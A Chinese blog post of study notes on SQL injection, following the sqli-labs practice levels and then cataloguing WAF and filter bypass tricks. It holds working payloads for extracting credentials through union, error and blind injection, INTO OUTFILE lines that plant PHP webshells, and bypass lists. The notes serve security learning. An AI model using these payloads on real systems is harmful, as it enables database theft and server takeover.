SQL学习

因为之前整理笔记的时候没有把SQL靶场的学习搬上来,现在就和进阶SQL一起整理一下

参考文章:1 2

利用类型

联合查询:

sql底层逻辑是SELECT * FROM users WHERE id=(('$id'))LIMIT 0,1用户输入直接被拼接到了 $id

但是如果直接select的话会出现两个独立的SELECT ,MySQL 无法解析这种”多SELECT堆叠”,而union可以将两个SELECT查询结果集合并成一个

两个SELECT列数一致的时候可以合并

获取表名

1
2
3
4
SELECT 1,2,group_concat(table_name)
FROM information_schema.tables
WHERE table_schema = '数据库名'
union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+

聚合函数concat()

获取列名:

1
2
union  select 1,2,group_concat(column_name) from 
information_schema.columns where table_name='users'--+

关键字段:系统默认

数据:

1
union select 1,(select group_concat(username) from users ),(select group_concat(password) from users)--+

或者

1
union select 1,2,(select group_concat(concat_ws('/',username,password)) from security.users--+

布尔盲注:

根据返回内容true或false的回显,重复执行,最后组合

  1. 字符长度总判断
  2. 二分法获取指定字母位置
  3. 循环提取库名,列名,表名

查询范围是从第一个字符往后,所以不能直接range(100),需要从1开始range(1,100);

报错注入:

利用MySQL自带的报错函数updatexml(),extractvalue()

updatexml()

extractvalue()

当这两个函数在执行时,如果出现xml文档路径错误就会产生报错

updatexml()函数

  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

  • 作用:改变文档中符合条件的节点的值

  • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

  • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

  • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3));由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

  • updatexml(),用于更新XML文档内的内容,原理:第一个参数是XML文档对象,第二个参数是XPath,路径格式不对就会报错,可以利用,让错误路径包含我们查询的数据。

  • 基本语法:

1
UPDATEXML(XML_document, XPath_string, new_value)

报错Payload构造:

1
and updatexml(1, concat(0x7e, (你想要查询的语句), 0x7e), 1)

拆解分析:

  • 0x7e 是波浪号 ~ 的十六进制。我们用它来包裹我们的查询结果,使其成为一个明显的非法XPath格式(XPath不能以 ~ 开头)。
  • concat() 函数用于将 ~、查询结果、另一个 ~ 连接在一起,有点像名称拼接
  • 当数据库执行时,会尝试将 ~(查询结果)~解析为XPath,这必然失败(是解析那一步出问题,但是查询结果已经在信息里带回了),从而在报错信息中返回:’(查询结果)‘ is not a valid XPath expression。

extractvalue() 函数

从XML文档中提取值,报错原理与 updatexml() 极其相似,也是利用第二个参数(XPath路径)格式错误来触发报错。

  • 基本语法:
1
EXTRACTVALUE(XML_document, XPath_string)

报错Payload构造:

1
and extractvalue(1, concat(0x7e, (你想要查询的语句), 0x7e))

双查询注入或聚合函数报错

floor(rand(0)\*2) 报错 (Double Injection)称为“双查询注入”或“聚合函数报错”。

rand(0)

rand(0)的确定性行为

1
2
3
4
5
6
7
8
9
10
11
12
  -- 关键:RAND(0)生成固定序列
SELECT RAND(0); -- 0.000000... (首次调用)
SELECT RAND(0) * 2; -- 乘以2扩大范围
SELECT FLOOR(RAND(0)*2); -- 取整,得到0或1

-- 序列推演(固定不变):
-- 第1次:0 → FLOOR(0*2) = 0
-- 第2次:1 → FLOOR(1*2) = 1
-- 第3次:1 → FLOOR(1*2) = 1
-- 第4次:0 → FLOOR(0*2) = 0
-- 第5次:1 → FLOOR(1*2) = 1
-- 序列:0, 1, 1, 0, 1, 1...

GROUP BY的临时表机制 当MySQL执行GROUP BY时:创建内存临时表存储分组结果;临时表使用GROUP BY的列作为主键/唯一键

对每一行数据:计算分组键值;查找临时表中是否已存在该键;不存在则插入新行,存在则更新计数

假设执行:

1
2
3
SELECT COUNT(*), CONCAT((SELECT @@version), FLOOR(RAND(0)*2)) AS x 
FROM information_schema.tables
GROUP BY x;

执行步骤推演:

  • 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    - 第一行数据:
    - 计算FLOOR(RAND(0)*2) → 序列第一个值:0
    - CONCAT(version, 0) = '5.7.330'
    - 临时表无此键 → 插入新行(键:'5.7.330')
    - 第二行数据:
    - RAND(0)序列下一个值:1
    - CONCAT(version, 1) = '5.7.331'
    - 临时表无此键 → 插入新行(键:'5.7.331')
    - 第三行数据(关键转折点):
    - RAND(0)序列:1
    - 计算分组键 = '5.7.331'
    - 临时表已存在键'5.7.331'

    - MySQL准备更新该行计数
    - 但在检查过程中,RAND()被第二次计算
    - 第二次计算得到:0
    - MySQL尝试插入键'5.7.330'(但此键已存在!)
    - 主键冲突,报错:Duplicate entry '5.7.330'
  1. 利用了MySQL的内部实现缺陷(GROUP BY时多次计算RAND)
  2. 将数据泄露通道从查询结果转移到错误信息
  3. 规避了UNION注入需要列数匹配的限制

数据库

1
2
3
4
5
6
7
8
9
10
-1' AND (SELECT 1 FROM 
(SELECT COUNT(*),
CONCAT(
0x7e,
DATABASE(), -- 获取当前数据库名
0x7e,
FLOOR(RAND(0)*2)
) AS x
FROM information_schema.tables
GROUP BY x) AS a) --+

表名

1
2
3
4
5
6
7
8
9
10
11
12
-1' AND (SELECT 1 FROM 
(SELECT COUNT(*),
CONCAT(
0x7e,
(SELECT GROUP_CONCAT(table_name)
FROM information_schema.tables
WHERE table_schema='security'), -- 获取security库的所有表
0x7e,
FLOOR(RAND(0)*2)
) AS x
FROM information_schema.tables
GROUP BY x) AS a) --+

列名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-1' AND (SELECT 1 FROM 
(SELECT COUNT(*),
CONCAT(
0x7e,
(SELECT GROUP_CONCAT(column_name)
FROM information_schema.columns
WHERE table_schema='security'
AND table_name='users'), -- 获取users表的列名
0x7e,
FLOOR(RAND(0)*2)
) AS x
FROM information_schema.tables
GROUP BY x) AS a) --+
-- 利用XPATH语法错误
AND UPDATEXML(1, CONCAT(0x7e, payload, 0x7e), 1)

Less-7

利用MySQL的SELECT ... INTO OUTFILE功能将查询结果写入服务器文件系统

写入文件可以被其他系统文件组件执行(比如PHP解释器)

OUTFILE是MySQL数据库的文件执行操作

OUTFILE vs DUMPFILE vs LOAD_FILE

函数 用途 特点
INTO OUTFILE 导出查询结果到文本文件 文本格式,可多行,会转义特殊字符
INTO DUMPFILE 导出二进制数据 二进制格式,单行,不转义
LOAD_FILE() 读取文件内容 需要有FILE权限和文件可读
  1. 查询结果写入文件,访问服务器的文件绝对路径回显,如http://xxx.xxx.xx/html/www/a.txt
  2. 或者写入木马(注意编码转译),然后执行命令获得需要的内容
  3. 或者用load_file,读取文件(先把查询结果写入文件)
1
2
3
4
5
6
-- 将数据写入临时文件
?id=-1')) union select 1,(select group_concat(username,':',password) from users),3
into outfile '/tmp/data.txt'--+

-- 通过其他注入点回显文件内容
?id=1')) and updatexml(1,concat(0x7e,(select load_file('/tmp/data.txt')),0x7e),1)--+

闭合方式可以通过报错信息直接判断

注释符:忽略注释符之后的内容,原本的语句是,我们写入一个id值,然后闭合id值前面那个自带的

1
2
3
SQLWHERE username='我们输入的id=1'
我们输入:admin' -- 单引号先把原来sql语句里的'闭合了,然后我们用--注释掉本来要补上来的这个后引号
所以才能用and '1'='1 代替注释符,其实就是接上了后引号,让他成为一个完整的sql语句

文件上传

1
2
3
4
5
6
7
-- 写入PHP Webshell
SELECT '<?php system($_GET["cmd"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';

-- 访问时:
http://target.com/shell.php?cmd=ls
-- 这会被PHP解释器执行,因为.php文件会被Web服务器解析

防止被直接报错可以转十六进制

时间盲注

1
?id=1' and if(1=1,sleep(4),1)--+

MySQL特定的时间盲注:

  1. 利用IF函数控制条件执行
  2. sleep放在IF的第二个参数中,只有条件为真时才执行
  3. 第三个参数是必须的,保证语法完整
  4. 与回显位置无关,适用于无回显场景
  5. 通过响应时间差异来判断条件真假

GET注入(URL参数)

1
2
3
4
5
-- 原始URL:/Less-1/?id=1
-- 注入:id=1' union select 1,database()--+

-- 完整请求:
http://localhost/Less-1/?id=1' union select 1,database()--+

POST注入(表单字段)

1
2
3
4
5
6
-- 原始表单:uname=admin&passwd=123
-- 注入:passwd=123' union select 1,database()--+

-- 完整请求:
POST /Less-11/login.php
uname=admin&passwd=123' union select 1,database()--+&submit=Submit
特性 GET注入 POST注入
注入点 URL参数(如?id=) 表单字段(如uname=, passwd=)
测试方式 修改URL 修改表单输入
工具使用 浏览器地址栏 浏览器开发者工具/Burp Suite
自动化脚本 requests.get() requests.post()
常见场景 搜索、查看详情 登录、注册、提交数据

Less-13

时间盲注和布尔盲注都可以

POST请求

1
uname=1') or 1=1#&passwd=1&submit=Submit

提交表单,需要包含提交的变量,然后用#或者--+忽视掉其他内容

布尔盲注

  1. #被浏览器解释:浏览器认为#之后是URL片段
  2. &passwd=1&submit=Submit被截断:不会被发送到服务器!
  3. 实际发送的请求可能只有:
1
2
3
POST /login.php HTTP/1.1

uname=1') or 1=1

Less-14

用双引号闭合

十五

没有直接回显的数据,但是有登入成功的显示,推测为布尔盲注

其他想法:返回内容是图片:可以使用图片的MD哈希值对比,通过观察也可以把图片对应的url写入,对比看响应内容是否包含即可。再或者,由于图片显示位置不同,所以可以通过判断某位置是否出现图片而判断是否成功(如果是自动化脚本需要读取,提取预处理的图片,就需要有一个读取或者是提前筛选的标准的录入,由于是JPG文件,不能直接用svg去比对)

补充:针对这种方式,开发者可以预加载所有图片,或者使用CSS控制显示,或者使用javascript动态切换。

检测实际可见性-检测CSS类名变化-检测文本内容变化-检测HTTP响应差异

十六

闭合方式是”)

十七

密码重置

实际上只检查了用户是否存在,如果用户存在,那么密码不需要验证

密码有被录入存储吗,存储的文件绝对路径

密码可能作为被读取录入的内容,如果对语句进行了执行那么可以在密码的文件里得到查询结果

img

img

floor()

数据过程产生的报错

img

使用SUBSTRING分段

SUBSTRING(string, start, length)

闭合方式是双引号,有报错回显,回到之前的使用函数上

十八

img

猜不到密码就直接找闭合方式,回显User-Agent,考虑往User-Agent里注入

十九 Referer

img

二十

Cookie

img

当你访问首页或其他页面时,浏览器会携带这个Cookie。后端程序会从Cookie中取出 uname 的值,并直接用于数据库查询(例如 SELECT … WHERE username=’$cookie_uname’),从而造成注入。

就是用POST提交cookie的时候交,使用cookie查询用户的时候才会执行

img

犯过一个错误,还是和其他闭合一样,闭合成功之后要重新交来查询不要直接刷

修改一次cookie之后,后续的的访问都会继续携带这个cookie(这里没有用到

Less-21

上一题:

img

img

位置还是cookie,但是上传的内容会被base64编码,回显的内容是解码之后的内容

用户名会被执行编码

注入的时候直接绕过来编码那一步,所以我们上传的注入语句其实是没有被编码那一步的,如果直接解码就会出现乱码

正常登录逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 登录页面 login.php
if ($_POST['submit']) {
$username = $_POST['username']; // 用户输入:admin
$password = $_POST['password'];

// 验证用户名密码
if (verify($username, $password)) {
// 验证成功后,服务器对用户名进行编码
$encoded_username = base64_encode($username); // 得到:YWRtaW4=
setcookie('uname', $encoded_username);
// 然后重定向到首页
}
}

默认信任cookie内容,跳过了验证过程,所以也没有编码

服务器:读取cookie-解码回显

Less-22

闭合是双引号

Less-23

双引号

注释符会被替换为空格

img

1
2
3
4
5
6
7
8
9
-- 原始SQL:SELECT * FROM users WHERE id='$id' LIMIT 0,1

-- 闭合方式1:使用单引号闭合
?id=1' and '1'='1
-- 执行:SELECT ... WHERE id='1' and '1'='1' LIMIT 0,1

-- 闭合方式2:使用注释字符但不过滤的变体
?id=1' or '1'='1' and '1
-- 执行:SELECT ... WHERE id='1' or '1'='1' and '1' LIMIT 0,1

and '1'='1的替代作用:

1
2
3
4
5
6
7
8
9
10
11
-- 原始SQL(假设是登录查询):
SELECT * FROM users WHERE username='$username' AND password='$password'

-- 传统注入(使用注释符):
输入用户名:admin' --
SQL:SELECT * FROM users WHERE username='admin' -- ' AND password='xxx'
结果:查询条件变为 WHERE username='admin'

-- 替代方法(使用布尔逻辑):
输入用户名:admin' and '1'='1
SQLSELECT * FROM users WHERE username='admin' and '1'='1' AND password='xxx'

结束原SQL语句的闭合,然后用and '1'='1把后面的内容闭合掉,相当于是一个完整的正确语句

Less-24

二次注入:存入的时候是无害的,但是在读取的时候就会拼接然后执行

登录 注册 重置密码(看看17能不能用,update

登入后可以重置密码或者登出

img

mysql_real_escape_string() 的作用机制:

当输入为:username = "admin' OR '1'='1"&password = "anything"

转义后:$username = "admin\' OR \'1\'=\'1"&$password = "anything"

生成的SQL:

1
SELECT * FROM users WHERE username='admin\' OR \'1\'=\'1' and password='anything'
  • 单引号被转义为 \',不再起到闭合字符串的作用
  • 整个输入被视为一个普通的用户名字符串
  • 无法绕过认证

闭合的单引号会被转义,但是注释符不会

1
2
3
4
5
6
7
8
9
10
// 时间点1:注册(存储恶意数据)
$sql = "INSERT INTO users VALUES ('admin\'#', '123456')";
// 数据库存储:admin'#

// 时间点2:登录(安全,查询用户 admin'#)
$sql = "SELECT ... WHERE username='admin\'#' ...";

// 时间点3:修改密码(从数据库取出 admin'#,直接使用)
$sql = "UPDATE users SET password='newpass' WHERE username='admin'#' ...";
// 这里 admin' 的单引号闭合了username,然后#注释掉后面的验证

Less-25

不能直接使用or和and关键字,但是可以双写绕过

information_schema中的or也会被过滤掉,其他组成同理

其他SQL利用学习

读写文件

  • 读文件使用

    1
    load_file()

    函数

    1
    select load_file("E:\\flag.txt");
  • 写文件使用

    1
    into outfile
    1
    select 1,'<?php eval($_POST[1]);?>',3 into outfile "/var/www/html/shell.php";

双写绕过

特殊字符只过滤一次的情况,双写绕过

等号like绕过

等号被过滤,用like代替

order by 绕过

这里可以用into加变量名代替,相当于列数和变量个数的匹配

方式 作用 区别
order by 1,2,3 通过排序是否正常,推断列数 依赖 order by 语法
into @a,@b,@c 通过列数与变量个数是否匹配报错,推断列数 绕过 order by 过滤

and/or绕过

替代字符:and 等于&&、or 等于 ||、not 等于 !、xor 等于|

union select 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
uNIoN sel<>ect # 程序过滤<>为空 脚本处理
uNi/**/on sele/**/ct # 程序过滤/**/为空
uNIoN /\*!%53eLEct\*/ # url 编码与内联注释
uNIoN se%0blect # 使用空格绕过
uNIoN sele%ct # 使用百分号绕过
uNIoN %53eLEct # 编码绕过
uNIoN sELecT 1,2 #大小写绕过
uNIoN all select 1,2 # ALL绕过
uNIoN DISTINCT select 1,2 # 去重复DISTINCT 绕过
null+UNION+SELECT+1,2 # 加号代替空格绕过
/\*!union\*//\*!select\*/1,2 # 内联注释绕过
/\*!50000union\*//\*!50000select\*/1,2 # 内联注释绕过
uNIoN/**/select/**/1,2 # 注释代替空格绕过

大小写绕过

这里就是换大小写,除此之外还学到了其他的符号使用方法

  • 冒号:在 SQL 中,冒号通常用于变量绑定(如预处理语句),但在注入场景下,如果后端代码用 preg_match 等函数过滤了某些关键词(如 unionselect),攻击者可能会利用冒号来闭合前面的语法结构,使后面的注入语句“合法化”。
1
id=1': union select ...

这里的冒号 : 有时能充当语法闭合符,类似于用 #-- 注释掉后面的内容。

但更常见的“闭合”是指用 '") 等来闭合原本的 SQL 语句,而这里的冒号属于一种不太常见但有效的闭合方式(取决于后端如何解析)。

  • %00(空字节)

%00 是 URL 编码后的空字节(NULL)。

在 PHP 等语言中,如果字符串处理函数(如 preg_matchaddslashes)遇到 %00,可能会截断字符串,导致后面的内容被忽略。
例如:

1
id=1%00' union select ...

如果后端用 preg_match 检查 id 参数,并且函数在遇到空字节时停止,那么 %00 之后的内容就不会被过滤,从而绕过黑名单。
这种做法被称为空字节截断,和用 # 注释掉后面的 SQL 语句效果类似。

逗号绕过

变换函数的形式

多列查询的逗号可以用join代替

1
2
3
select 1,2,3;

SELECT * FROM (SELECT 1) AS a JOIN (SELECT 2) AS b JOIN (SELECT 2) AS c;

Limit语句中用到的逗号用offset代替

1
limit 0,1> limit 1 offset 0

盲注中常用的,可以用from for代替

1
substr(database(),1,1)—> substr(database() from 1 for 1) ;

substring()和mid()同理

盲注还能使用模糊查询来进行绕过

LIKE 用于模式匹配,支持两个通配符:

通配符 含义
% 匹配任意个字符(包括 0 个)
_ 匹配单个字符

可以遍历或者二分法,可以借助_匹配字符长度

如果 LIKE 也被过滤,有时还可以用 REGEXP,例如 SELECT DATABASE() REGEXP ‘^s’ 表示以 s 开头。REGEXP 支持正则表达式,不过原理类似,可以用于盲注。

等函数替换

1
2
3
4
5
6
benchmark() => sleep()
hex() bin() => ascii()
concat() concat_ws() => group_concat()
substr() mid() left() right() elt() => substring()
char_length() => length()
updatexml() => polygon()

浮点数绕过

通过浮点数的形式从而绕过

1
id=1 union select> id=1.0union select> id=1E0union select

添加库名绕过

直接访问库名或表名的被waf之后,可以用[库名].[表名]

1
2
SELECT FORM test.user
SELECT FORM user

编码绕过

ascii编码绕过

1
-1' AND SUBSTRING(database(),1,1)='s' --+
1
-1' AND ASCII(SUBSTRING(database(),1,1))=115 --+

base64编码绕过

直接整个编码之后直接提交就可以

空格字符绕过

  • %20%09%0a%0b%0c%0d 在 SQL 中都是有效的空白字符,可用于替换普通空格。
  • %a0 不是 SQL 标准空白,但在某些绕过技巧中可能被用于欺骗 WAF 的正则表达式(如果 WAF 错误地将它当作空格处理)。
  • + 仅在 URL 解码后成为空格,在 SQL 中不是空白符。

引号字符绕过

同时查询用户名和密码的情况下:

1
SELECT username FROM users WHERE id='1\' AND passwd=' UNION SELECT 1,2,3--' 

payload:

1
id=1\&passwd=UNION SELECT 1,2,3--

这样实际上第二个引号被转义掉了
那么密码的部分直接输入<联合注入语句>+<注释>即可

  • 也可以十六进制(HEX)编码:
1
' UNION SELECT 1,2,3 FROM users WHERE username='admin' --+
1
' UNION SELECT 1,2,3 FROM users WHERE username=0x61646d696e --+
  • 可以考虑宽字节注入绕过
1
2
3
在 GBK 编码下,部分字符可以与后续字符拼接形成新的合法字符。%df 在 GBK 编码中是一个未完成的双字节字符 Ÿ,如果数据库采用 GBK 编码,则 %df 可能会与后续的单字符拼接形成一个完整的双字节字符

有时候服务端会对输入中的特殊字符进行转义,在前面添加一个 \,它的 URL 编码是 %5c。如果输入一个 ',添加反斜杠编码后就是 %5c%27。此时在前面加上一个 %df -> %df%5c%27,如果数据库采用 GBK 编码,会认为 %df%5c 是一个宽字符,使得 %27 即 ' 并没有被转义,可以正常进行注入

利用反斜杠转义引号来闭合查询

1
SELECT username FROM users WHERE id='$id' AND passwd='$passwd'

正常时,程序会用单引号包裹用户输入的 $id$passwd

如果程序对输入做了简单的转义(如 addslashesmysqli_real_escape_string),它会将 ' 转义为 \',试图防止注入。可以输入一个反斜杠,让转义机制“误转义”掉原本闭合的引号。

1
SELECT username FROM users WHERE id='1\' AND passwd=' UNION SELECT 1,2,3-- '

1\' 中的反斜杠转义了后面的单引号,使得原本 id='1\' 成为一个未闭合的字符串(因为转义后的引号不再起闭合作用),紧接着 AND passwd=' 实际上被当作字符串内容的一部分,而攻击者输入的 passwd 部分 UNION SELECT 1,2,3-- ' 则变成了新的 SQL 语句,且最后的 -- ' 将原本末尾的单引号注释掉,从而成功执行注入。

参数污染

php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。

当 HTTP 请求中包含多个同名参数时(例如 ?color=red&color=blue),不同的 Web 服务器、应用服务器或开发框架会采用不同的策略来处理:

  • 拼接成逗号分隔的字符串(如 ASP/IIS)

    将恶意代码作为第二个值,与正常值拼接后可能被 SQL 解析执行(取决于应用如何处理拼接后的值)。

    1
    GET /sqli.asp?id=1&id=0' UNION SELECT 1,2,3--+ HTTP/1.1
    • 后端可能通过 Request.QueryString("id") 得到 "1,0' UNION SELECT 1,2,3--+"
    • 如果应用直接将该字符串用于 SQL 语句(例如 WHERE id IN (id) 或其他场景),可能导致注入。
    • 或者,应用可能只取第一个值,但某些情况下拼接后的值会被其他组件使用(如日志、存储过程),造成二次注入。
  • 取最后一次出现(如 PHP/Apache)

    1
    GET /sqli.php?id=1&id=0' UNION SELECT 1,2,3--+ HTTP/1.1
    • WAF 检查 id=1 → 放行
    • PHP 接收到的 $_GET['id']0' UNION SELECT 1,2,3--+ → 拼接到 SQL 中执行注入。
  • 取第一次出现(如 Tomcat)

    1
    GET /sqli.jsp?id=0' UNION SELECT 1,2,3--+&id=1 HTTP/1.1
    • WAF 检查 id=1 → 放行
    • Tomcat 解析后,request.getParameter("id") 返回第一个值 0' UNION SELECT 1,2,3--+ → 注入成功。
  • Python / Zope(转化为 List)

    传递数组形式的参数,使后端将多个值作为列表处理,可能引发 SQL 注入(如未对数组元素做安全处理)。

    1
    GET /sqli.py?id=1&id=0' UNION SELECT 1,2,3--+ HTTP/1.1
    • 后端可能通过 request.GET.getlist('id') 获取 ['1', "0' UNION SELECT 1,2,3--+"]
    • 如果开发者在拼接 SQL 时遍历列表且未做过滤,恶意元素将被代入。

注释绕过

内联注释:是Mysql为了保持与其他数据的兼容,将Mysql中特有的语句放在/!/中这些语句在不兼容的数据库中不执行,而在Mysql自身却能识别执行。例如:/!50001/表示数据库版本>=5.00.01时,/!50001 中间的语句才能被执行 /

脏数据溢出绕过

数据太多超过waf检测范围,然后造成绕过,前面填垃圾数据后面填要注入的SQL语句,如果是GET传参,参数值超过GET所能运行的长度可能无法利用,所以最好是POST传参(前提是对方支持POST传参)

pipline绕过

http协议是由tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接tcp连接,然后发http 数据包,其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或断开。

当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。

burpsuite抓包提交复制整个包信息放在第一个包最后,有些waf会匹配第二个包的正属于正常参,不会对第一个包的参数进行检测,这样就可以绕过一些waf拦截。

分块传输绕过

分块传输编码是只在HTTP协议1.1版本中提供的一种数据传送机制。

以往HTTP的应答中数据是整个一起发送的,并在应答头里Content-Length字段标识了数据的长度,以便客户端知道应答消息的结束。分块传输编码允许服务器在最后发送消息头字段。

例如在头中添加散列签名。对于压缩传输传输而言,可以一边压缩一边传输,将本该一次性传输的完整数据分块传输,从而绕过waf的检测。

参数拆分绕过

配合多个参数的传参,将注入的内容拼接到同一条 SQL 语句中,可以将注入语句分割插入绕过waf拦截。

1
select *from user where username ="or 1=1/*'and passwd ='*/#'

GET/POST转换绕过

这个的前提是,两种请求没有同时过滤,换方式传递可能成功

白名单绕过

有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,比如白名单目录,白名单文件等等,所以可以利用这个特点,可以进行突破。

比如这里的例子是:

直接提交:

1
?id=1'and 1=2 union select 1,2,3 --+

在变量前加上白名单文件

1
1.jpg?id=1'and 1=2 union select 1,2,3 --+

花括号绕过

花括号,左边是注释的内容,这样的话可以过一些waf的拦截。

1
select *from user where id=1 and 1=2 union select{xxx 1},{aaa 2},{hhh 3}--+

回显:

1
2
Your Login name:2
Your Password:3

反引号绕过

1
?id=1 and sleep(3)
1
?id=1 and `sleep(3)`

补课

这部分是从过滤内容角度出发,和上一部分有些许重合

空格过滤的情况:

可以使用括号包裹

1
SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata);

内联注释/**/可以代替空格

1
SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/information_schema.schemata;

符号代替空格的方式(urlencode):

1
2
3
4
5
6
%0D Carriage Return,回车 代替空格
%0A Line Feed,换行 代替空格
%0C Form Feed,换页 代替空格
%09 Horizontal Tab,水平制表 代替空格
%0B Vertical Tab,垂直制表 代替空格
%A0 Non-breaking space (MySQL only),不间断空格 代替空格

使用反引号包裹变量名

1
SELECT(GROUP_CONCAT(schema_name))FROM`information_schema`.`schemata`;

过滤><的情况:

  • 可以使用greatest()least()函数,分别返回最大值和最小值。参数数量不定:
1
2
SELECT GREATEST(1, 2, 3, 4, 5);
SELECT LEAST(1, 2);
  • 代替等号用like但有时会有不相等还返回1

  • rlike判断某个字段的值是否匹配指定的正则表达式,它是regexp的同义词(这里在逗号过滤的情况下也有)

    regexp匹配字符串中是否包含符合正则规则的部分,默认不区分大小写,如果需要区分,可以使用binary:

    1
    2
    3
    4
    SELECT 'abc' REGEXP 'A';       -- 返回 1
    SELECT BINARY 'abc' REGEXP 'A'; -- 返回 0

    SELECT BINARY DATABASE() REGEXP '^s';
  • 函数strcmp(str1, str2)其返回值:

1
2
3
str1 = str2 -> 0
str1 < str2 -> -1
str1 > str2 -> 1
  • 可以用in语法,
    用于判断某个值是否在指定集合中的条件操作符:
1
2
-- 是则返回 1,否则返回 0
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) IN (115);
  • between...and...进行范围查询,也可代替等号
1
2
-- 是 115 则返回 1,否则返回 0
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) BETWEEN 115 AND 115;
  • <>表示不等于
1
2
-- 不等于 115 则返回 1,否则返回 0
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) <> 115;

过滤 if

  • 逻辑中断: OR ||只需一个表达式为真,整个表达式就为真。那么很多时候程序只判断到前一个表达式为真时,就忽略后一个表达式不执行,MySQL就具备这个特性。

    可以利用它达到条件判断的效果:

    1
    2
    3
    4
    5
    6
    -- 假设 database 为 "security"
    -- 它不会执行 SLEEP,因为前一个表达式为真
    SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115 || SLEEP(1);

    -- 它会执行 SLEEP,因为前一个表达式为假,程序还需要判断后一个表达式才能确定整个表达式的值
    SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=114 || SLEEP(1);
  • 使用locate(str1, str2)

    比较输入的两个字符串,第一个参数是参照物,第二个参数是参照对象,该函数会判断参照对象中是否含有参照物,若不含有,则返回 0;若含有,则返回该参照物在参照对象中的位置。

  • case when...then...else...end

    用法类似于三目运算符

1
2
3
4
5
6
7
CASE WHEN condition THEN result1 ELSE result2 END

-- 1
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;

-- 2
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END;
  • elt(N, str1, str2, ..., strN)

    从一个字符串列表中返回对应位置的字符串假设有一张表 my_table,包含字段 id 和 category,我们希望根据 category 的值返回对应字符串:

    1
    2
    3
    SELECT id, ELT(category, 'Electronics', 'Books', 'Clothing')
    AS category_name
    FROM my_table;

    如果 category 的值为 1、2 或 3,
    分别返回 Electronics、Books、Clothing

    这个函数同样可以用在盲注中,逻辑运算往往会返回 0 或 1,也就是说可以让条件为真时,执行elt函数第二个参数的表达式

1
2
-- 条件为真时会睡 3 秒
SELECT ELT((LENGTH(DATABASE())>3), SLEEP(3));

关键字过滤

双写和大小写就不再写在这了

过滤关键字组合比如过滤了UNION SELECT可以改用UNION ALL SELECT;或者结合内联注释构造/*!UNION*/SELECT UNION/**/SELECT;或者插入其他可代替空格的符号;

过滤 information_schema

InnoDB 引擎 在MySQL 5.6及以上

  • mysql.innodb_table_stats代替information_schema.tables

过滤注释符

如果所有的注释符-- # /**/ /*!*/都被过滤,无法忽略后面的语句,可以改变闭合方式以避免语法错误:

1
SELECT id FROM users WHERE username='' AND passwd='' LIMIT 0,1;

发送payload:

1
username=admin'OR&passwd=OR'

得到

1
SELECT id FROM users WHERE username='admin'OR' AND passwd='OR'' LIMIT 0,1;

也可以闭合引号

Icon
致谢名单
本作品由 LwhalE 于 2026-02-16 19:46:57 发布
作品地址:SQL学习
除特别声明外,本站作品均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 LwhalE's blog
Logo